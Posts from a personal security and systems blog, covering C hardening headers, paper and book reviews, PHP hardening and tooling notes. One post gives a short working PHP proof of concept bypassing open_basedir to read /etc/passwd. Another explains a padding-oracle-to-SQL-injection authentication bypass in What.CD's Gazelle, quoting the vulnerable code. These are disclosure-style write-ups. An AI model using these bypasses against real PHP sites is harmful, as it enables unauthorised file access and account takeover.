Ported my resume/cover letter template from LaTeX to typst and felt so much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer, to never have to touch it again.
Got a "Documented Feedback from Employee Relations" from HR at work for saying "Awkward to have yet another middle aged rich white het guy come talk about diversity and inclusion." on an internal chatroom, about this middle aged rich white het guy invited to give an internal talk about diversity and inclusion.

fortify-headers 2.1

jvoisin — Sat, 16 Dec 2023 20:30:00 +0100

Only 4 days after the release of fortify-headers, here is the 2.1, fixing a couple of portability issues and tidying a bit the code. Chimera Linux users are as of today ~~test driving~~ benefiting from it.

Changelog

Remove superfluous includes from the headers
Put some functions in to their proper files
Add a missing include in sys/select.h
Do not use static inline for C++ to avoid ODR-wise violation
Guard some conditional stdio APIs with the right macros
Fix a typo that would prevent C++ code from compiling correctly
Rename macros to be more namespace-friendly

Implementation details

Including parts from the stdlib in fortify means that programs that don't correctly include everything they need might compile, even though they shouldn't. Fortunately, the only bits used are either:

size_t, which can be obtained by using typeof(sizeof(char)), since it's by definition the type returned by sizeof.
constants like PATH_MAX (that we can define to 4096), MB_LEN_MAX (defined as 16), ...
eldritch constructs like MB_CUR_MAX, whose usage we hide behind an #ifdef.

The other big thing is the one caught by Devin Jeanpierre, the usage of static inline while absolutely alright in C, is problematic in C++, because of the One Definition Rule: In C++, if a function is declared inline, it must be declared inline in every translation unit, and also every definition of an inline function must be exactly the same (while in C they may be different.) On the other hand, C++ allows non-const function-local statics and all function-local statics from different definitions of an inline function are the same in C++, but distinct in C. More practically, calling FORTIFY_INLINE functions from an inline function in C++, and including the header defining that inline function in more than one translation unit results in undefined behaviour. The fix is easy, and was commited by q66: use static instead of static inline in C++.

Thanks Devin Jeanpierre for spending time to look at C++ compatibility, q66 for his patches, willingness to ship fortify-headers in Chimera, and becoming co-maintainer.

fortify-headers 2.0

jvoisin — Tue, 12 Dec 2023 23:30:00 +0100

8 months ago, I started to contribute to fortify-headers, a standalone fortify-source implementation, with the goal of implementing FORTIFY_SOURCE=3, since the current version only implemented FORTIFY_SOURCE=2. I reached out to sin, the original maintainer, to ask if he was interested in my changes, and he told me the project wasn't maintained anymore. But he would be happy to give me the commit bit instead. I spent some months writing code before accepting, to see if it would be a good idea: Would I be able to maintain it? To improve it? Add more features? and so on. Turns out the answer is yes, and I'm thus happy to announce the immediate availability of fortify-headers 2.0!

Changelog

Added clang support, based on q66's patches.
Fixed a 64b-related incompatibility around ppoll
Added a ton of tests, with around 90% of coverage
Made use of __builtin_dynamic_object_size when FORTIFY_SOURCE=3 is used, instead of __builtin_object_size.
Made use of attributes: alloc_size, diagnose_as_builtin, diagnose_if, format, malloc, warn_unused_result, …
Added some missing functions, like calloc, fdopen, fmemopen, fprintf, malloc, memchr, popen, printf, qsort, umask, …
Added continuous integration, both on clang and gcc, covering the whole range of supported versions across the latest Ubuntu LTS.

Implementation details

Since this is a pretty uncommon piece of software, friends of mine have been asking me details about the involved black magic. While it's possible to overload functions with the overloadable attribute in C, there isn't really something similar for drive-by overloading. Fortunately, it's possible to hack an equivalent by combining #include_next with the following macros:

#define _FORTIFY_STR(s) #s
#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)
#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)
#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE

This makes the original function available when prefixed with __orig, while allowing overloading. On clang, the pass_object_size/pass_dynamic_object_size attribute is used to pass down arguments size; the assembly label preventing weird mangling issues. Since it's only a label, despite being assembly, it's still portable across various architectures. The _FORTIFY_INLINE macro contains all possible "please inline this function" directives as possible, to avoid polluting the symbols.

There is of course a ton of #ifdef/#if __has_atribute/… to work around various compiler intrinsics, like clang missing __builtin_va_arg_pack or gcc missing diagnose_if, so that fortify-headers will always make use of the most features available.

It is indeed a particularly gross pile of hacks, but this is C, also known as "nice things and why we can't have them."

Thanks to sin for creating the project and maintaining it for years, strcat for his inspiring work on fortifying bionic, q66 for his clang patches and general support, the friendly people from 2f30 for their patience, Serge Sans Paille for his testsuite, kevans for his work on fortifying FreeBSD's libc, Red Hat from pushing FORTIFY_SOURCE=2 and FORTIFY_SOURCE=3 forward, ...

Paper notes: CryptOpt

jvoisin — Fri, 01 Dec 2023 12:30:00 +0100

Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives
PDF: arXiv (local mirror)
Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom

Cryptography is hard, high-performance one even more so: formal proof of assembly implementations is horrible to model, and code generation from formal proofs are hard to lower to high-performance assembly. The core idea of CryptOpt is to treat this as a black box combinatorial optimization problem, and bruteforce possible solutions in a smart way against an oracle.

More precisely:

start from a known-correct implementation in fiat-crypto (a coq-powered high-level to low-level IR proven translator) low-level IR;
lower it via a fuzzer-like machinery replacing/reordering operands applying semantics-and-data-constrains-preserving transformations, which has an acceptable search space because:
- it's straight-line no-aliasing constant-offset-pointers assembly;
- transformations can be templatised, eg. add ≍ clc; adcx;
lift the resulting x64 assembly to fiat-crypto low-level IR;
use a custom e-graph based equivalence checker implemented as a mix between an SMT solver and a symbolic-execution engine;
if the new implementation is correct, benchmark it against the current; fastest one, and keep it if it's outperforming it.
goto 2.

This approach has a couple of advantages:

fuzzers are cheaper than highly specialised engineering time
porting implementations to new hardware is simply a matter of running CryptOpt on it.
by lifting the assembly to fiat-crypto low-level IR, there is no need to write complex formal proofs, since fiat-crypto is already taking care of those.
controlling the mutations allows to ensure that the implementation stays side-channel free.

The main issue though, is that one needs to formally implement whatever algorithm to optimize in fiat-crypto, which is not that easy (and which the authors of the paper didn't do for libsecp256k1).

Implementation-wise, the author ran 200k mutations, with 20 initial candidates, over 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly, since the equivalence-based verification is slow (between 0.1s and ~300s), it's only done once at the end. They found out that "optimization progress is roughly logarithmic in the number of mutations." CryptOpt generates code around 1.20 to 2.50 times faster than gcc/clang for the same fiat-crypto generated C code. It's not faster then OpenSSL (but offers formally verified correctness), but is faster than libsecp256k1.

The paper was presented at Real World Crypto 2023, and like all good one, it came with an implementation

Managing a bouncer via OpenRC

jvoisin — Fri, 24 Nov 2023 16:30:00 +0100

I'm an avid IRC user, and I'm using XMPP to idle on Tails' chatrooms. Since protocols tend to only work when one is connected, they're both running inside a tmux session, acting as a bouncer. But now that my hypervisor is automatically rebooting to apply security updates, and during power cuts via nut, I needed a way to automatically restart the bouncer. Since it's running in an Alpine Linux container, here is my solution in the form of an OpenRC service script, because I couldn't find one on the internet:

#!/sbin/openrc-run

USER=jvoisin

name="chat"
command_user="$USER"
command=/usr/bin/tmux
command_args="new-session -s chat -d '/usr/bin/weechat' \; new-window '/usr/bin/profanity' \; select-window -t -1"
pidfile="/run/$SVCNAME.pid"

depend() {
        need net
        use dns 
}              

stop() {
        su "$USER" -c 'tmux kill-session chat'
}

Netra - Ingrats

jvoisin — Sat, 18 Nov 2023 22:45:00 +0100

Ingrats ("ungrateful ones" in French) is the 3^rd album from Netra, and it's a very lonely one, for I don't think it has any peers. A mix of depressive black metal, trip hop, and jazz à la Bohren & der Club of Gore in equal measures, bound together with a hint of depressive darkwave, resulting in a not only surprisingly cohesive and daring record, but also an excessively pleasant and honest one.

Opening with "Gimme a break", a mellow jazzy noir blues vibe where one wants to snap in rhythm, things quickly devolve into blast beats, raw screams and twisted guitar of "Everything’s Fine", arguably the most black-metal-esque song of the album. Albeit it is way more than yet-another-black-metal-track, morphing into something more complex, with an eerie piano melody, and some almost gothic rock clear singing. The sudden transitions are perfectly executed, and the work on the voices is truly delicious, resulting in an alienating, impetuous yet melancholic track. "Underneath my words the ruins of yours" is a subtle mix of trip-hop and atmospheric post-rock/darkwave, pursuing with "Live with It", even more trip-hop, but this time with a syncopated rhythm, 80s gothic rock, clean vocals and acoustic guitars, … it results in something like Katatonia doing a feat with Gramatik and Ulver period early 2000s.

Then the calm before the storm, "Infinite bordedom", a one minute interlude of grainy piano under the rain, announcing "Don't Keep Me Waiting", some sort of nihilist black metal track, but with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample from L’exercice de l’État has a gentle touch of Ba'a. Moving on to "A Genuinely Benevolent Man", starting with synthesisers, then a 4|4 kick resulting in something that could be on a VNV Nation album. Until it decays into something more raw, and when the shrieking vocals are showing up, you didn't even realise that we've left the world of the darkwave to return into the one of black metal.

"Paris or Me", dark and rainy, with bits of triptop percussion, introducing "Could've, Should've, Would've", with tasteful hints of Depeche Mode, Dead Can Dance, post-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM cocktail. The album ends with "Jusqu'au-boutiste", starting with some jazzy piano on a walking bass, turning into an ultra-saturated tremolo riff with blast beats, and both worlds are alternating along the track, only interrupted by a very à propos sample from Low Down. It goes on until the piano gets creepier and creepier, landing into strings, morphing into dislocated tip-hop soul, beaching onto calm synthesisers, and ending with raw black metal as background for electronic sounds.

As Hypnotic Dirge Records, the label on which the disc was produced, perfectly summarised:

The perfect soundtrack for late-night walks in the city. The material on “Ingrats” is an all-out assault on the senses, a bitter pill that must be swallowed as an accompaniment for self-reflection. An album which can connect emotionally and leave you drained at the end.

ini_set based open_basedir bypass

jvoisin — Fri, 03 Nov 2023 16:30:00 +0100

This one was burned by Blaklis in 2019, by being the expected solution for his Phuck3 challenge for InsomniHack Finals 2019, but has been known long before.

In the words of PHP's documentation on open_basedir:

When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink. If the file doesn't exist then the symlink couldn't be resolved and the filename is compared to (a resolved) open_basedir.

[…]

open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed.

It has been more or less fixed in March 2021, then again in March 2023, and again in July 2023. But I wouldn't be surprised if more low-hanging bypasses were lurking ;)

The crux of the bypass is that php didn't resolve relative paths both in ini_set and when checking php_check_open_basedir:

<?php
echo ini_get('open_basedir'); // /var/www/html
mkdir('./tmp');
chdir('./tmp');
ini_set('open_basedir', '..');
for ($i = 1; $i <= 24; $i++) {
    chdir('..');
}
ini_set('open_basedir','/')
echo file_get_contents("/etc/passwd");

Book review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking

jvoisin — Fri, 20 Oct 2023 18:00:00 +0200

I'm starting to feel guilty about getting ebooks for free from No Starch Press, but apparently they're happy to send them my way in exchange for a review, so I won't complain.

Anyway, I got a copy of the early access version Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking! It's obviously a book about lockpicking, but, as hinted by its name, from the sport angle.

I'm not completely clueless when it comes to picking locks, but I've always been mediocre at best, since I never really put the effort into practising anything but the basics. This was thus a great opportunity for a deeper dive! So I got myself a proper set of picks, 3 cutaway training locks one with serrated pins, with spool pins, and one with stupid chess pieces pins, and a couple of locks/padlocks from my local locksmith, and dove into the book!

I was a bit curious about its content, since I didn't bother reading the table of contents, and was expecting a pile of techniques to open wafer tumbler locks in the fastest way possible. But the book is so much more than that, with historical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking competitions and how to organise one, anecdotes, mechanical details and resources for those who would like to know more, how to tear apart, modify, take care of, and reassemble locks, where to get equipment, how to impression keys, details on lever tumbler locks and vaults, …

The part about wafer locks, while interesting, doesn't really go much further than some basic techniques for entry-level security pins, but I guess practise is the only way to learn how to handle anything non-trivial anyway. On the other hand, the part about lever locks was highly entertaining, since those are really weird compared to the usual locks, and I didn't know much about them.

I recently gifted myself a Sparrow's challenge vault for my birthday, and was thus highly delighted to discover that the book has a whole section on safe manipulation; which is fortunate since the instructions coming with the vault are ~~pure garbage~~ confusing at best.

The only issue I had with the book is that while it's full of gorgeous colourful pictures, like the small marks left by pins during key impressioning, they are unfortunately barely legible on my Pocketbook InkPad 3, so I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐 𝕳𝕯𝕽 e-reader.

All in all, it's a really great self-contained book for newcomers and beginners, entertaining, detailed, … and doing a tremendous job at making lockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to tackle harder locks.

If you already know your way around locks, you might want to look at High-Security Mechanical Locks: An Encyclopedic Reference instead.

Authentication bypass on What.CD's Gazelle

jvoisin — Fri, 13 Oct 2023 19:45:00 +0200

What.CD has been dead since 2016, and hopefully nobody is using Gazelle, their "web framework geared towards private BitTorrent tracker" anymore. I've been sitting on this one for years, I know I wasn't the only one, and it's not the only low-hanging vulnerability lurking there.

Rolling your own blunt is alright, rolling your own authentication scheme less so: there is a trivial padding oracle in the homegrown crypto scheme:

public function decrypt($CryptStr, $Key = ENCKEY) {
    if ($CryptStr != '') {
        $IV = substr(base64_decode($CryptStr), 0, 16);
        $CryptStr = substr(base64_decode($CryptStr), 16);
        return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $Key, $CryptStr, MCRYPT_MODE_CBC, $IV));
    } else {
        return '';
    }
}

leading to an authentication bypass via a SQL injection:

if (isset($_COOKIE['session'])) {
    $LoginCookie = $Enc->decrypt($_COOKIE['session']);
}
if (isset($LoginCookie)) {
    list($SessionID, $UserID) = explode("|~|", $Enc->decrypt($LoginCookie));

    if (!$UserID || !$SessionID) {
        die('Not logged in!');
    }

    if (!$Enabled = $Cache->get_value("enabled_$UserID")) {
        require(SERVER_ROOT.'/classes/mysql.class.php'); //Require the database wrapper
        $DB = NEW DB_MYSQL; //Load the database wrapper
        $DB->query("
            SELECT Enabled
            FROM users_main
            WHERE ID = '$UserID'");
        list($Enabled) = $DB->next_record();
        $Cache->cache_value("enabled_$UserID", $Enabled, 0);
    }
} else {
    die('Not logged in!');
}

Conveniently, the oracle doesn't touch the database, is completely stateless, and only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies' content, making forensic analysis nigh impossible. Once you're admin, there are a bunch of available SQL injections, like in takerevolve.php. From there, remote code execution is doable, but left as an exercise for the reader.

Video acceleration in Jellyfin inside a Proxmox container

jvoisin — Sun, 01 Oct 2023 22:15:00 +0200

For various reasons, including "video decoding is hard", "your web browser hates you" and "watching movies on a phone over 3G is a basic human necessity", enabling hardware-accelerated video decoding in Jellyfin is a desirable goal if you don't want your CPU to set your house on fire.

To attain it, one can mess around cryptic gid mappings, but granting every user on the hypervisor the right to read/write /dev/dri/renderD128 and /dev/dri/card0 is way easier, and it looks like this:

# cat > /etc/udev/rules.d/99-intel-chmod666.rules << 'EOF'
KERNEL=="renderD128", MODE="0666"
KERNEL=="card0", MODE="0666"
EOF
# udevadm control --reload-rules && udevadm trigger
#

It doesn't really worsen security, since: - the devices are only mounted inside my jellyfin container, which would have the same privileges as if I used gid mapping. - odds are that an attacker able to get a shell on the hypervisor wouldn't really need to have r/w access to the two devices to escalate their privileges anyway, since they would either be: - root already to escape from a container - root already to escape from a vm - whatever proxmox user and likely able to escalate to root trivially - other users are sandboxed via systemd and/or seccomp.

Speaking of mounting things inside the container:

# cat > /etc/pve/lxc/114.conf << 'EOF'
lxc.cgroup2.devices.allow: c 226:0 rwm
lxc.cgroup2.devices.allow: c 226:128 rwm
lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir
lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file
EOF
#

You can now run vainfo inside the container and be delighted by the presence of the VA-API version number:

# vainfo 2>/dev/null | head -n 1
libva info: VA-API version 1.17.0
#

The last step is to tick all the boxes in Jellyfin's preferences and you're good to go. Don't forget to make some space on the disk for the transcoding cache, at least until this makes its way into a release.

Paper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScript

jvoisin — Tue, 26 Sep 2023 17:15:00 +0200

PDF, local mirror

More or less all conversations involving the tor browser will at some point contain the following line: "No, javascript isn't disabled by default because too many sites would break. You can always crank the security slider all the way up if you want tho."

We all agree that javascript enables all sorts of despicable behaviours making the web a nightmare-material privacy/security cesspit and completely inscrutable to a lot of users, so having research done to quantify how to make it a better place for everyone is always more than welcome.

The main idea of the paper is to load pages from the Hispar set with and without javascript.enabled set, via Puppeteer, and to perform magic human-assisted smart diffing to detect user-perceived/perceivable breakages.

The paper is full of fancy graphs and analysis, but the tldr is:

We discover that 43 % of web pages are not strictly dependent on JavaScript and that more than 67 % of pages are likely to be usable as long as the visitor only requires the content from the main section of the page, for which the user most likely reached the page, while reducing the number of tracking requests by 85 % on average.

An interesting take is that the usage of javascript framework is the main source of breakage, since ~~a lot~~ all of them result in completely unusable websites when javascript is disabled. Moreover, anecdotal data seems to suggest that the bigger a company is, the more their website is going to break when javascript is disabled.

And like every decent paper, it comes with the related code and data published.

Snuffleupagus 0.10.0 - Babar the Elephant

jvoisin — Wed, 20 Sep 2023 15:25:00 +0200

I just published a new release of Snuffleupagus, the hardening module for php7+ and php8+, version 0.9.0, codename "Babar the Elephant", named the eponymous character. The main new feature is the PHP8.3 support, but there are a couple of quality-of-life improvements for people using Snuffleupagus with fuzzers as well.

Changelog

Compatibility with PHP8.3
Add sp.log_max_len to limit the maximum size of the log messages
Add an example configuration for Xenforo 2.2.12
Url encode functions arguments when logging them
Fix a possible NULL-byte truncation when outputting parameters in the logs
Make readonly_exec play nice on readonly filesystems

As usual, if you want to help, we have some low hanging fruits ♥

See you in your PHP stack!

Some notes on "Randomized slab caches for kmalloc()"

jvoisin — Mon, 11 Sep 2023 01:45:00 +0200

Ruiqi Gong and Xiu Jianfeng got their Randomized slab caches for kmalloc() patch series merged upstream, and I've had enough discussions about it to warrant summarising them into a small blogpost.

The main idea is to have multiple slab caches, and pick one at random based on the address of code calling kmalloc() and a per-boot seed, to make heap-spraying harder. It's a great idea, but comes with some shortcomings for now:

Objects being allocated via wrappers around kmalloc(), like sock_kmalloc, f2fs_kmalloc, aligned_kmalloc, … will end up in the same slab cache.
The slabs needs to be pinned, otherwise an attacker could feng-shui their way into having the whole slab free'ed, garbage-collected, and have a slab for another type allocated at the same VA. Jann Horn and Matteo Rizzo have a nice set of patches, discussed a bit in this Project Zero blogpost, for a feature called SLAB_VIRTUAL, implementing precisely this.
There are 16 slabs by default, so one chance out of 16 to end up in the same slab cache as the target.
There are no guard pages between caches, so inter-caches overflows are possible.
As pointed by andreyknvl and minipli, the fewer allocations hitting a given cache means less noise, so it might even help with some heap feng-shui.
minipli also pointed that "randomized caches still freely mix kernel allocations with user controlled ones (xattr, keyctl, msg_msg, …). So even though merging is disabled for these caches, i.e. no direct overlap with cred_jar etc., other object types can still be targeted (struct pipe_buffer, BPF maps, its verifier state objects,…). It’s just a matter of probing which allocation index the targeted object falls into.", but I considered this out of scope, since it's much more involved; albeit something like Jann Horn's CONFIG_KMALLOC_SPLIT_VARSIZE wouldn't significantly increase complexity.

Also, while code addresses as a source of entropy has historically be a great way to provide KASLR bypasses, hash_64(caller ^ random_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1)) shouldn't trivially leak offsets.

The segregation technique is a bit like a weaker version of grsecurity's AUTOSLAB, or a weaker kernel-land version of PartitionAlloc, but to be fair, making use-after-free exploitation harder, and significantly harder once pinning lands, with only ~150 lines of code and negligible performance impact is amazing and should be praised. Moreover, I wouldn't be surprised if this was backported in Google's KernelCTF soon, so we should see if my analysis is correct.

Making use of pygments' filters with Pelican

jvoisin — Fri, 01 Sep 2023 18:30:00 +0200

I've been using Pelican more or less since the beginning of this blog and I'm still pretty happy about it. Mostly because of how boring it is, and its complete absence of fundamental changes thorough the years.

Anyway, I was looking at how to reduce the size of the pages of my blog and looked at how code is syntactically highlighted: Pelican is using Pygments to do this, and looking at its documentation, the TokenMergeFilter should help a bit, by merging token of the same type together, instead of highlighting them separately.

Pelican's documentation says that options can be passed to python-markdown like this: MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }.

Looking at python-markdown's one, one can pass various things as parameters, but it doesn't mention filters. Pygments documentation on this topic implies that the only way to add filters is to use the add_filter method on a lexer.

But looking at the code as suggested here, filters can be passed like any other options, meaning that one only needs to add the following code into the pelicanconf.py file to used the TokenMergeFilter:

from pelican import TokenMergeFilter

MARKDOWN = {
    'extension_configs': {
        'markdown.extensions.codehilite': {
            'filters': [TokenMergeFilter()]
        }
    }
}`.

Totally worth the effort for a marginal page size reduction!

Book review: Hacks, Leaks, and Revelations

jvoisin — Wed, 16 Aug 2023 16:15:00 +0200

Last month, I got an email from Briana Blackwell from No Starch Press's marketing department, telling me that Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data by Micah Lee was available in early access, and that they'd be happy to send me an ebook copy free of charge!

From the couple of interactions I had with him, Lee is not only a great human being, but also technically literate. He's the director of information security at The Intercept, and the person behind OnionShare and DangerZone; so I was thrilled to finally get my hands on his book!

And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks: How to communicate with sources along with some notions of opsec, some words on the ethics of dealing with this kind of data, how to get data leaks and how to analyse them properly and safely, wrangling tools like dangerzone, a BitTorrent client, Signal, Tor via the Tor Browser and Onionshare, some linux and shell basics, a crash course into data analysis with Python and SQL, the OCCRP's Aleph, … with hands-on exercises and reporting examples based on real leaks like EpikFail, BlueLeaks, the Oath Keepers leak, Unicorn Riot's DiscordLeaks, AFLDS, he Heritage Foundation emails, …

It's a comprehensive yet highly digestible resource that I would wholeheartedly recommend to anyone remotely interested by modern journalism practises. Hacked and dumped databases are all around the internet, waiting to be analysed, reported on, contextualised and exposed, and with this book, anyone could help with the effort of making the world a better place: sunlight is the best disinfectant!

mat2 0.13.4

jvoisin — Wed, 02 Aug 2023 21:30:00 +0200

There is a new minor version of mat2: 0.13.4. No ground breaking changes, only minor improvements, code modernisation and a bit of hardening:

Add documentation about mat2 on OSX
Make use of python3.7 constructs to simplify code
Use moderner type annotations
Harden get_meta in archive.py against variants of CVE-2021-35410
Improve MSOffice document support
Package the manpage on PyPI.

Thanks to akierig, mat2 is now available in macports!

As usual, if you know some python help is welcome.

A sneaky Golang bug

jvoisin — Wed, 02 Aug 2023 13:15:00 +0200

Today at work, I needed a function in Go to remove duplicates from a slice, and thus wrote something like this using the generic-based slices package:

func removeDuplicates(s []mytype) []mytype {
    slices.SortFunc(s, less)
    slices.CompactFunc(s, eq)
    return s
}

Can you spot the bug? Here are the prototypes of the two functions:

func SortFunc[E any](x []E, less func(a, b E) bool)
func CompactFunc[S ~[]E, E any](s S, eq func(E, E) bool) S

The first has no return value, while the second does, unused in our case, hence the bug. It's interesting to note that the go compiler is perfectly happy with this, and doesn't issue any warning: it was extraordinarily fun to pinpoint.

I reached out to Ian Lance Taylor who implemented those functions in 2021 and he pointed me to Go Slices: usage and internals . Things indeed do become obvious once looking at the implementation of slice:

type slice struct {
    array unsafe.Pointer
    len   int
    cap   int
}

Both slices.SortFunc and slices.CompactFunc are taking a slice as parameter, and not a pointer to a slice, meaning that any changes to len and cap will be local to the function.

Anyway, There is a proposal to require return values to be explicitly used or ignored open since 2017, but it didn't go anywhere for now. There is also another proposal to make go vet better at highlighting error mishandling, as well as errcheck, but those wouldn't really help in this case.